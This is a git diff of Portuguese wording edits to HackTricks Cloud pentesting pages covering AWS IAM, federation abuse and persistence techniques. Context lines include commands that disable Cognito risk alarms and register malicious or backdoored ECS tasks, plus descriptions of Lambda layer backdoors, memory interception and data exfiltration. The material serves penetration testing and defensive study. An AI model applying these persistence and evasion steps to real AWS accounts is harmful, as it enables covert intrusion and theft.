 Para configurar essa confiança, um **Provedor de Identidade IAM é gerado (SAML ou OAuth)** que **confiará** na **outra plataforma**. Em seguida, pelo menos uma **função IAM é atribuída (confiando) ao Provedor de Identidade**. Se um usuário da plataforma confiável acessar a AWS, ele estará acessando como a função mencionada.
 
@@ -243,7 +243,7 @@ No entanto, você geralmente desejará dar uma **função diferente dependendo d
 
 ### Centro de Identidade IAM
 
-O AWS IAM Identity Center (sucessor do AWS Single Sign-On) expande as capacidades do AWS Identity and Access Management (IAM) para fornecer um **local central** que reúne a **administração de usuários e seu acesso a contas** da AWS e aplicativos em nuvem.
+O AWS IAM Identity Center (sucessor do AWS Single Sign-On) expande as capacidades do AWS Identity and Access Management (IAM) para fornecer um **local central** que reúne **administração de usuários e seu acesso a contas AWS** e aplicativos em nuvem.
 
 O domínio de login será algo como `<user_input>.awsapps.com`.
 
@@ -263,20 +263,20 @@ Para dar acesso a um usuário/grupo do Identity Center a uma conta, um **Provedo
 
 É possível **dar permissões via políticas inline para funções criadas via IAM Identity Center**. As funções criadas nas contas que estão sendo dadas **políticas inline no AWS Identity Center** terão essas permissões em uma política inline chamada **`AwsSSOInlinePolicy`**.
 
-Portanto, mesmo que você veja 2 funções com uma política inline chamada **`AwsSSOInlinePolicy`**, isso **não significa que elas têm as mesmas permissões**.
+Portanto, mesmo que você veja 2 funções com uma política inline chamada **`AwsSSOInlinePolicy`**, isso **não significa que tenha as mesmas permissões**.
 
-### Confianças e Funções entre Contas
+### Confiança e Funções entre Contas
 
-**Um usuário** (confiando) pode criar uma Função entre Contas com algumas políticas e, em seguida, **permitir que outro usuário** (confiável) **acesse sua conta**, mas apenas **tendo o acesso indicado nas novas políticas da função**. Para criar isso, basta criar uma nova Função e selecionar Função entre Contas. Funções para Acesso entre Contas oferecem duas opções. Fornecendo acesso entre contas da AWS que você possui e fornecendo acesso entre uma conta que você possui e uma conta AWS de terceiros.\
-É recomendado **especificar o usuário que é confiável e não colocar algo genérico**, porque, caso contrário, outros usuários autenticados, como usuários federados, também poderão abusar dessa confiança.
+**Um usuário** (confiando) pode criar uma Função entre Contas com algumas políticas e, em seguida, **permitir que outro usuário** (confiável) **acesse sua conta**, mas apenas **tendo o acesso indicado nas novas políticas da função**. Para criar isso, basta criar uma nova Função e selecionar Função entre Contas. Funções para Acesso entre Contas oferecem duas opções. Fornecendo acesso entre contas AWS que você possui e fornecendo acesso entre uma conta que você possui e uma conta AWS de terceiros.\
+É recomendável **especificar o usuário que é confiável e não colocar algo genérico**, porque, caso contrário, outros usuários autenticados, como usuários federados, também poderão abusar dessa confiança.
 
 ### AWS Simple AD
 
 Não suportado:
 
 - Relações de Confiança
-- Centro de Administração do AD
-- Suporte completo à API PS
+- AD Admin Center
+- Suporte total à API PS
 - Lixeira do AD
 - Contas de Serviço Gerenciadas por Grupo
 - Extensões de Esquema
@@ -289,7 +289,7 @@ O aplicativo usa o AssumeRoleWithWebIdentity para criar credenciais temporárias
 ### Outras opções IAM
 
 - Você pode **definir uma configuração de política de senha** com opções como comprimento mínimo e requisitos de senha.
-- Você pode **baixar o "Relatório de Credenciais"** com informações sobre credenciais atuais (como tempo de criação do usuário, se a senha está habilitada...). Você pode gerar um relatório de credenciais com a frequência de uma vez a cada **quatro horas**.
+- Você pode **baixar o "Relatório de Credenciais"** com informações sobre credenciais atuais (como tempo de criação do usuário, se a senha está habilitada...). Você pode gerar um relatório de credenciais com frequência de até uma vez a cada **quatro horas**.
 
 O AWS Identity and Access Management (IAM) fornece **controle de acesso detalhado** em toda a AWS. Com o IAM, você pode especificar **quem pode acessar quais serviços e recursos**, e sob quais condições. Com as políticas IAM, você gerencia permissões para sua força de trabalho e sistemas para **garantir permissões de menor privilégio**.
 
@@ -353,7 +353,7 @@ role_session_name = <session_name>
 source_profile = <profile_with_assume_role>
 sts_regional_endpoints = regional
 ```
-Com este arquivo de configuração, você pode usar aws cli assim:
+Com este arquivo de configuração, você pode então usar aws cli como:
 ```
 aws --profile acc2 ...
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index 3b3499b70..b6791ebad 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -16,8 +16,8 @@ Para configurar uma **Federação de Identidade através do SAML**, você só pr
 
 Para adicionar uma ação do github como provedor de identidade:
 
-1. Para _Tipo de provedor_, selecione **OpenID Connect**.
-2. Para _URL do provedor_, insira `https://token.actions.githubusercontent.com`
+1. Para _Tipo de Provedor_, selecione **OpenID Connect**.
+2. Para _URL do Provedor_, insira `https://token.actions.githubusercontent.com`
 3. Clique em _Obter impressão digital_ para obter a impressão digital do provedor
 4. Para _Público_, insira `sts.amazonaws.com`
 5. Crie um **novo papel** com as **permissões** que a ação do github precisa e uma **política de confiança** que confie no provedor como:
@@ -78,7 +78,7 @@ role-session-name: OIDCSession
 - run: aws sts get-caller-identity
 shell: bash
 ```
-## OIDC - EKS Abuse
+## OIDC - Abuso de EKS
 ```bash
 # Crate an EKS cluster (~10min)
 eksctl create cluster --name demo --fargate
@@ -88,7 +88,7 @@ eksctl create cluster --name demo --fargate
 # Create an Identity Provider for an EKS cluster
 eksctl utils associate-iam-oidc-provider --cluster Testing --approve
 ```
-É possível gerar **OIDC providers** em um **EKS** cluster simplesmente definindo a **OIDC URL** do cluster como um **novo provedor de identidade Open ID**. Esta é uma política padrão comum:
+É possível gerar **provedores OIDC** em um cluster **EKS** simplesmente definindo a **URL OIDC** do cluster como um **novo provedor de identidade Open ID**. Esta é uma política padrão comum:
 ```json
 {
 "Version": "2012-10-17",
@@ -108,7 +108,7 @@ eksctl utils associate-iam-oidc-provider --cluster Testing --approve
 ]
 }
 ```
-Esta política está corretamente indicando que **apenas** o **cluster EKS** com **id** `20C159CDF6F2349B68846BEC03BE031B` pode assumir a função. No entanto, não está indicando qual conta de serviço pode assumi-la, o que significa que **QUALQUER conta de serviço com um token de identidade da web** poderá **assumir** a função.
+Esta política está indicando corretamente que **apenas** o **cluster EKS** com **id** `20C159CDF6F2349B68846BEC03BE031B` pode assumir a função. No entanto, não está indicando qual conta de serviço pode assumi-la, o que significa que **QUALQUER conta de serviço com um token de identidade da web** poderá **assumir** a função.
 
 Para especificar **qual conta de serviço deve ser capaz de assumir a função,** é necessário especificar uma **condição** onde o **nome da conta de serviço é especificado**, como:
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
index 5a2834ba2..24f2aca35 100644
--- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
@@ -10,8 +10,8 @@ Estas são as permissões que você precisa em cada conta AWS que deseja auditar
 - **access-analyzer:Get\***
 - **iam:CreateServiceLinkedRole**
 - **access-analyzer:CreateAnalyzer**
-- Opcional se o cliente gerar os analisadores para você, mas geralmente é mais fácil apenas pedir essa permissão)
+- Opcional se o cliente gerar os analisadores para você, mas geralmente é mais fácil apenas pedir por essa permissão)
 - **access-analyzer:DeleteAnalyzer**
-- Opcional se o cliente remover os analisadores para você, mas geralmente é mais fácil apenas pedir essa permissão)
+- Opcional se o cliente remover os analisadores para você, mas geralmente é mais fácil apenas pedir por essa permissão)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
index d7bf906c1..c0119e9e1 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
@@ -21,12 +21,12 @@ Ou simplesmente remova o uso do autorizador.
 
 ### Permissões IAM
 
-Se um recurso estiver usando autorizador IAM, você pode conceder a si mesmo acesso a ele modificando as permissões IAM.\
+Se um recurso estiver usando autorizador IAM, você pode se conceder acesso a ele modificando as permissões IAM.\
 Ou simplesmente remova o uso do autorizador.
 
 ### Chaves de API
 
 Se chaves de API forem usadas, você pode vazá-las para manter a persistência ou até mesmo criar novas.\
-Ou simplesmente remova o uso de chaves de API.
+Ou simplesmente remova o uso das chaves de API.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
index b67def5f9..2fe6aef4a 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
@@ -16,7 +16,7 @@ Cognito é um serviço que permite atribuir funções a usuários não autentica
 
 - **Adicionar um User Pool** controlado pelo usuário a um Identity Pool
 - Dar uma **função IAM a um Identity Pool não autenticado e permitir o fluxo de autenticação básica**
-- Ou a um **Identity Pool autenticado** se o atacante conseguir fazer login
+- Ou a um **Identity Pool autenticado** se o atacante puder fazer login
 - Ou **melhorar as permissões** das funções dadas
 - **Criar, verificar e privesc** via atributos controlados por usuários ou novos usuários em um **User Pool**
 - **Permitir provedores de identidade externos** para fazer login em um User Pool ou em um Identity Pool
@@ -29,7 +29,7 @@ Verifique como realizar essas ações em
 
 ### `cognito-idp:SetRiskConfiguration`
 
-Um atacante com esse privilégio poderia modificar a configuração de risco para conseguir fazer login como um usuário do Cognito **sem que alarmes sejam acionados**. [**Confira o cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para verificar todas as opções:
+Um atacante com esse privilégio poderia modificar a configuração de risco para poder fazer login como um usuário Cognito **sem que alarmes sejam acionados**. [**Confira o cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para verificar todas as opções:
 ```bash
 aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
index eb944f61b..802caae7f 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
@@ -1,4 +1,4 @@
-# AWS - EC2 Persistence
+# AWS - Persistência EC2
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -14,12 +14,12 @@ Para mais informações, consulte:
 
 Se um defensor descobrir que uma **instância EC2 foi comprometida**, ele provavelmente tentará **isolar** a **rede** da máquina. Ele poderia fazer isso com um **Deny NACL** explícito (mas os NACLs afetam toda a sub-rede), ou **mudando o grupo de segurança** para não permitir **qualquer tipo de tráfego de entrada ou saída**.
 
-Se o atacante tiver um **shell reverso originado da máquina**, mesmo que o SG seja modificado para não permitir tráfego de entrada ou saída, a **conexão não será encerrada devido ao** [**Rastreamento de Conexão do Grupo de Segurança**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
+Se o atacante tiver um **reverse shell originado da máquina**, mesmo que o SG seja modificado para não permitir tráfego de entrada ou saída, a **conexão não será encerrada devido ao** [**Rastreamento de Conexão do Grupo de Segurança**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
 
-### Gerenciador de Ciclo de Vida do EC2
+### Gerenciador de Ciclo de Vida EC2
 
 Este serviço permite **agendar** a **criação de AMIs e snapshots** e até mesmo **compartilhá-los com outras contas**.\
-Um atacante poderia configurar a **geração de AMIs ou snapshots** de todas as imagens ou todos os volumes **toda semana** e **compartilhá-los com sua conta**.
+Um atacante poderia configurar a **geração de AMIs ou snapshots** de todas as imagens ou de todos os volumes **toda semana** e **compartilhá-los com sua conta**.
 
 ### Instâncias Agendadas
 
@@ -27,27 +27,27 @@ Um atacante poderia configurar a **geração de AMIs ou snapshots** de todas as
 
 ### Solicitação de Frota Spot
 
-Instâncias spot são **mais baratas** do que instâncias regulares. Um atacante poderia lançar uma **pequena solicitação de frota spot por 5 anos** (por exemplo), com **atribuição automática de IP** e um **dados do usuário** que envia para o atacante **quando a instância spot iniciar** e o **endereço IP** e com um **papel IAM de alto privilégio**.
+Instâncias spot são **mais baratas** do que instâncias regulares. Um atacante poderia lançar uma **pequena solicitação de frota spot por 5 anos** (por exemplo), com **atribuição automática de IP** e um **user data** que envia para o atacante **quando a instância spot iniciar** e o **endereço IP** e com um **papel IAM de alto privilégio**.
 
 ### Instâncias de Backdoor
 
 Um atacante poderia obter acesso às instâncias e backdoor elas:
 
 - Usando um **rootkit** tradicional, por exemplo
-- Adicionando uma nova **chave SSH pública** (ver [opções de privesc do EC2](../aws-privilege-escalation/aws-ec2-privesc.md))
-- Backdooring os **Dados do Usuário**
+- Adicionando uma nova **chave SSH pública** (ver [opções de privesc EC2](../aws-privilege-escalation/aws-ec2-privesc.md))
+- Backdooring os **User Data**
 
 ### **Configuração de Lançamento de Backdoor**
 
 - Backdoor a AMI utilizada
-- Backdoor os Dados do Usuário
+- Backdoor os User Data
 - Backdoor o Par de Chaves
 
 ### VPN
 
 Criar uma VPN para que o atacante possa se conectar diretamente através dela ao VPC.
 
-### Peering de VPC
+### Peering VPC
 
 Criar uma conexão de peering entre o VPC da vítima e o VPC do atacante para que ele possa acessar o VPC da vítima.
 
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
index 930684aee..9af8b27b6 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
@@ -12,7 +12,7 @@ Para mais informações, consulte:
 
 ### Imagem Docker Oculta com Código Malicioso
 
-Um atacante poderia **carregar uma imagem Docker contendo código malicioso** em um repositório ECR e usá-la para manter a persistência na conta AWS alvo. O atacante poderia então implantar a imagem maliciosa em vários serviços dentro da conta, como Amazon ECS ou EKS, de maneira furtiva.
+Um atacante poderia **fazer upload de uma imagem Docker contendo código malicioso** para um repositório ECR e usá-la para manter a persistência na conta AWS alvo. O atacante poderia então implantar a imagem maliciosa em vários serviços dentro da conta, como Amazon ECS ou EKS, de maneira furtiva.
 
 ### Política do Repositório
 
@@ -43,7 +43,7 @@ aws ecr set-repository-policy \
 > [!WARNING]
 > Note que o ECR requer que os usuários tenham **permissão** para fazer chamadas à API **`ecr:GetAuthorizationToken`** através de uma política IAM **antes que possam se autenticar** em um registro e enviar ou puxar quaisquer imagens de qualquer repositório Amazon ECR.
 
-### Política de Registro & Replicação entre Contas
+### Política de Registro e Replicação entre Contas
 
 É possível replicar automaticamente um registro em uma conta externa configurando a replicação entre contas, onde você precisa **indicar a conta externa** onde deseja replicar o registro.
 
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
index 9c7e087b7..51d1b59fe 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
@@ -1,4 +1,4 @@
-# AWS - ECS Persistence
+# AWS - Persistência do ECS
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -10,12 +10,12 @@ Para mais informações, consulte:
 ../aws-services/aws-ecs-enum.md
 {{#endref}}
 
-### Tarefa Periódica ECS Oculta
+### Tarefa Periódica Oculta do ECS
 
 > [!NOTE]
 > TODO: Testar
 
-Um atacante pode criar uma tarefa periódica ECS oculta usando o Amazon EventBridge para **agendar a execução de uma tarefa maliciosa periodicamente**. Esta tarefa pode realizar reconhecimento, exfiltrar dados ou manter persistência na conta AWS.
+Um atacante pode criar uma tarefa periódica oculta do ECS usando o Amazon EventBridge para **agendar a execução de uma tarefa maliciosa periodicamente**. Esta tarefa pode realizar reconhecimento, exfiltrar dados ou manter persistência na conta AWS.
 ```bash
 # Create a malicious task definition
 aws ecs register-task-definition --family "malicious-task" --container-definitions '[
@@ -44,12 +44,12 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
 }
 ]'
 ```
-### Backdoor Container em Definição de Tarefa ECS Existente
+### Contêiner de Backdoor na Definição de Tarefa ECS Existente
 
 > [!NOTE]
 > TODO: Testar
 
-Um atacante pode adicionar um **container de backdoor furtivo** em uma definição de tarefa ECS existente que roda ao lado de containers legítimos. O container de backdoor pode ser usado para persistência e realizar atividades maliciosas.
+Um atacante pode adicionar um **contêiner de backdoor furtivo** em uma definição de tarefa ECS existente que roda ao lado de contêineres legítimos. O contêiner de backdoor pode ser usado para persistência e realização de atividades maliciosas.
 ```bash
 # Update the existing task definition to include the backdoor container
 aws ecs register-task-definition --family "existing-task" --container-definitions '[
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
index 7c1dfb77e..f391a4e3b 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
@@ -12,7 +12,7 @@ Para mais informações, consulte:
 
 ### Persistência na Instância
 
-Para manter a persistência dentro da conta AWS, algum **mecanismo de persistência poderia ser introduzido dentro da instância** (cron job, chave ssh...) para que o atacante possa acessá-la e roubar as **credenciais do IAM role do serviço de metadados**.
+Para manter a persistência dentro da conta AWS, alguns **mecanismos de persistência podem ser introduzidos dentro da instância** (cron job, chave ssh...) para que o atacante possa acessá-la e roubar as **credenciais do IAM role do serviço de metadados**.
 
 ### Backdoor na Versão
 
@@ -27,7 +27,7 @@ Em vez de alterar o código na versão atual, o atacante poderia implantar uma n
 > [!NOTE]
 > TODO: Testar
 
-O Elastic Beanstalk fornece hooks de ciclo de vida que permitem executar scripts personalizados durante o provisionamento e a terminação da instância. Um atacante poderia **configurar um hook de ciclo de vida para executar periodicamente um script que exfiltra dados ou mantém o acesso à conta AWS**.
+O Elastic Beanstalk fornece hooks de ciclo de vida que permitem executar scripts personalizados durante a provisão e a terminação da instância. Um atacante poderia **configurar um hook de ciclo de vida para executar periodicamente um script que exfiltra dados ou mantém acesso à conta AWS**.
 ```bash
 bashCopy code# Attacker creates a script that exfiltrates data and maintains access
 echo '#!/bin/bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
index 067165199..12932e894 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
@@ -32,6 +32,6 @@ aws kms create-grant \
 aws kms list-grants --key-id <key-id>
 ```
 > [!NOTE]
-> Um grant pode conceder permissões apenas a partir disso: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+> Uma concessão pode conceder permissões apenas a partir disso: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index ff57f0400..63b8073e8 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -43,7 +43,7 @@ Dessa forma, um atacante poderia criar uma **versão 1 com backdoor** e uma **ve
 ### Backdoor de Versão + API Gateway
 
 1. Copie o código original do Lambda
-2. **Crie uma nova versão backdooring** o código original (ou apenas com código malicioso). Publique e **implante essa versão** em $LATEST
+2. **Crie uma nova versão com backdoor** no código original (ou apenas com código malicioso). Publique e **implante essa versão** em $LATEST
 1. Chame o API gateway relacionado ao lambda para executar o código
 3. **Crie uma nova versão com o código original**, publique e implante essa **versão** em $LATEST.
 1. Isso ocultará o código com backdoor em uma versão anterior
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
index 2b80eae24..d3db4075e 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -4,10 +4,10 @@
 
 ## Extensões Lambda
 
-As extensões Lambda aprimoram funções integrando-se a várias **ferramentas de monitoramento, observabilidade, segurança e governança**. Essas extensões, adicionadas via [.zip archives usando camadas Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ou incluídas em [implantações de imagens de contêiner](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operam em dois modos: **interno** e **externo**.
+As extensões Lambda aprimoram funções integrando-se a várias **ferramentas de monitoramento, observabilidade, segurança e governança**. Essas extensões, adicionadas via [.zip archives usando Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ou incluídas em [implantações de imagens de contêiner](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operam em dois modos: **interno** e **externo**.
 
-- **Extensões internas** se fundem com o processo de tempo de execução, manipulando seu início usando **variáveis de ambiente específicas de linguagem** e **scripts de wrapper**. Essa personalização se aplica a uma variedade de tempos de execução, incluindo **Java Correto 8 e 11, Node.js 10 e 12, e .NET Core 3.1**.
-- **Extensões externas** são executadas como processos separados, mantendo a operação alinhada com o ciclo de vida da função Lambda. Elas são compatíveis com vários tempos de execução, como **Node.js 10 e 12, Python 3.7 e 3.8, Ruby 2.5 e 2.7, Java Corretto 8 e 11, .NET Core 3.1**, e **tempos de execução personalizados**.
+- **Extensões internas** se fundem com o processo de runtime, manipulando seu início usando **variáveis de ambiente específicas de linguagem** e **scripts wrapper**. Essa personalização se aplica a uma variedade de runtimes, incluindo **Java Correto 8 e 11, Node.js 10 e 12, e .NET Core 3.1**.
+- **Extensões externas** funcionam como processos separados, mantendo a operação alinhada com o ciclo de vida da função Lambda. Elas são compatíveis com vários runtimes como **Node.js 10 e 12, Python 3.7 e 3.8, Ruby 2.5 e 2.7, Java Corretto 8 e 11, .NET Core 3.1**, e **runtimes personalizados**.
 
 Para mais informações sobre [**como as extensões lambda funcionam, consulte a documentação**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
 
@@ -15,24 +15,24 @@ Para mais informações sobre [**como as extensões lambda funcionam, consulte a
 
 Este é um resumo da técnica proposta neste post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
 
-Foi descoberto que o kernel Linux padrão no ambiente de execução Lambda é compilado com chamadas de sistema “**process_vm_readv**” e “**process_vm_writev**”. E todos os processos são executados com o mesmo ID de usuário, mesmo o novo processo criado para a extensão externa. **Isso significa que uma extensão externa tem acesso total de leitura e gravação à memória heap do Rapid, por design.**
+Foi descoberto que o kernel Linux padrão no ambiente de runtime Lambda é compilado com chamadas de sistema “**process_vm_readv**” e “**process_vm_writev**”. E todos os processos são executados com o mesmo ID de usuário, mesmo o novo processo criado para a extensão externa. **Isso significa que uma extensão externa tem acesso total de leitura e escrita à memória heap do Rapid, por design.**
 
 Além disso, enquanto as extensões Lambda têm a capacidade de **se inscrever em eventos de invocação**, a AWS não revela os dados brutos para essas extensões. Isso garante que **as extensões não podem acessar informações sensíveis** transmitidas via a requisição HTTP.
 
-O processo Init (Rapid) monitora todas as requisições de API em [http://127.0.0.1:9001](http://127.0.0.1:9001/) enquanto as extensões Lambda são inicializadas e executadas antes da execução de qualquer código de tempo de execução, mas após o Rapid.
+O processo Init (Rapid) monitora todas as requisições de API em [http://127.0.0.1:9001](http://127.0.0.1:9001/) enquanto as extensões Lambda são inicializadas e executadas antes da execução de qualquer código de runtime, mas após o Rapid.
 
 <figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
 
-A variável **`AWS_LAMBDA_RUNTIME_API`** indica o **IP** e o número da **porta** da API Rapid para **processos de tempo de execução filhos** e extensões adicionais.
+A variável **`AWS_LAMBDA_RUNTIME_API`** indica o **IP** e o **número da porta** da API Rapid para **processos de runtime filhos** e extensões adicionais.
 
 > [!WARNING]
-> Ao alterar a variável de ambiente **`AWS_LAMBDA_RUNTIME_API`** para uma **`porta`** à qual temos acesso, é possível interceptar todas as ações dentro do tempo de execução Lambda (**man-in-the-middle**). Isso é possível porque a extensão é executada com os mesmos privilégios que o Rapid Init, e o kernel do sistema permite a **modificação da memória do processo**, possibilitando a alteração do número da porta.
+> Ao alterar a variável de ambiente **`AWS_LAMBDA_RUNTIME_API`** para uma **`porta`** à qual temos acesso, é possível interceptar todas as ações dentro do runtime Lambda (**man-in-the-middle**). Isso é possível porque a extensão é executada com os mesmos privilégios que o Rapid Init, e o kernel do sistema permite a **modificação da memória do processo**, possibilitando a alteração do número da porta.
 
-Como **as extensões são executadas antes de qualquer código de tempo de execução**, modificar a variável de ambiente influenciará o processo de tempo de execução (por exemplo, Python, Java, Node, Ruby) à medida que ele inicia. Além disso, **extensões carregadas após** a nossa, que dependem dessa variável, também serão roteadas através da nossa extensão. Essa configuração poderia permitir que malware contornasse completamente as medidas de segurança ou extensões de registro diretamente dentro do ambiente de tempo de execução.
+Como **as extensões são executadas antes de qualquer código de runtime**, modificar a variável de ambiente influenciará o processo de runtime (por exemplo, Python, Java, Node, Ruby) à medida que ele inicia. Além disso, **extensões carregadas após** a nossa, que dependem dessa variável, também serão roteadas através da nossa extensão. Essa configuração poderia permitir que malware contornasse completamente as medidas de segurança ou extensões de registro diretamente dentro do ambiente de runtime.
 
 <figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
 
-A ferramenta [**lambda-spy**](https://github.com/clearvector/lambda-spy) foi criada para realizar essa **gravação de memória** e **roubar informações sensíveis** de requisições lambda, outras **requisições de extensões** e até mesmo **modificá-las**.
+A ferramenta [**lambda-spy**](https://github.com/clearvector/lambda-spy) foi criada para realizar essa **escrita de memória** e **roubar informações sensíveis** de requisições lambda, outras **requisições de extensões** e até mesmo **modificá-las**.
 
 ## Referências
 
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
index cc7c4f64d..e5c3f79fd 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -21,20 +21,20 @@ O caminho de carregamento que o Python usará na lambda é o seguinte:
 Verifique como as **segundas** e **terceiras** **posições** são ocupadas por diretórios onde **lambda layers** descompactam seus arquivos: **`/opt/python/lib/python3.9/site-packages`** e **`/opt/python`**
 
 > [!CAUTION]
-> Se um atacante conseguir **backdoor** uma **layer** lambda usada ou **adicionar uma** que estará **executando código arbitrário quando uma biblioteca comum for carregada**, ele poderá executar código malicioso com cada invocação da lambda.
+> Se um atacante conseguir **backdoor** em uma **layer** lambda usada ou **adicionar uma** que estará **executando código arbitrário quando uma biblioteca comum for carregada**, ele poderá executar código malicioso com cada invocação de lambda.
 
 Portanto, os requisitos são:
 
-- **Verificar bibliotecas** que são **carregadas** pelo código das vítimas
+- **Verificar bibliotecas** que estão **carregadas** pelo código das vítimas
 - Criar uma **biblioteca proxy com lambda layers** que irá **executar código personalizado** e **carregar a biblioteca original**.
 
 ### Bibliotecas pré-carregadas
 
 > [!WARNING]
-> Ao abusar dessa técnica, encontrei uma dificuldade: Algumas bibliotecas já estão **carregadas** no tempo de execução do python quando seu código é executado. Eu esperava encontrar coisas como `os` ou `sys`, mas **até a biblioteca `json` estava carregada**.\
+> Ao abusar dessa técnica, encontrei uma dificuldade: Algumas bibliotecas já estão **carregadas** no runtime do python quando seu código é executado. Eu esperava encontrar coisas como `os` ou `sys`, mas **até a biblioteca `json` estava carregada**.\
 > Para abusar dessa técnica de persistência, o código precisa **carregar uma nova biblioteca que não esteja carregada** quando o código é executado.
 
-Com um código python como este, é possível obter a **lista de bibliotecas que estão pré-carregadas** dentro do tempo de execução do python na lambda:
+Com um código python como este, é possível obter a **lista de bibliotecas que estão pré-carregadas** dentro do runtime do python em lambda:
 ```python
 import sys
 
@@ -50,7 +50,7 @@ E esta é a **lista** (verifique se bibliotecas como `os` ou `json` já estão l
 ```
 E esta é a lista de **bibliotecas** que **lambda inclui instaladas por padrão**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
 
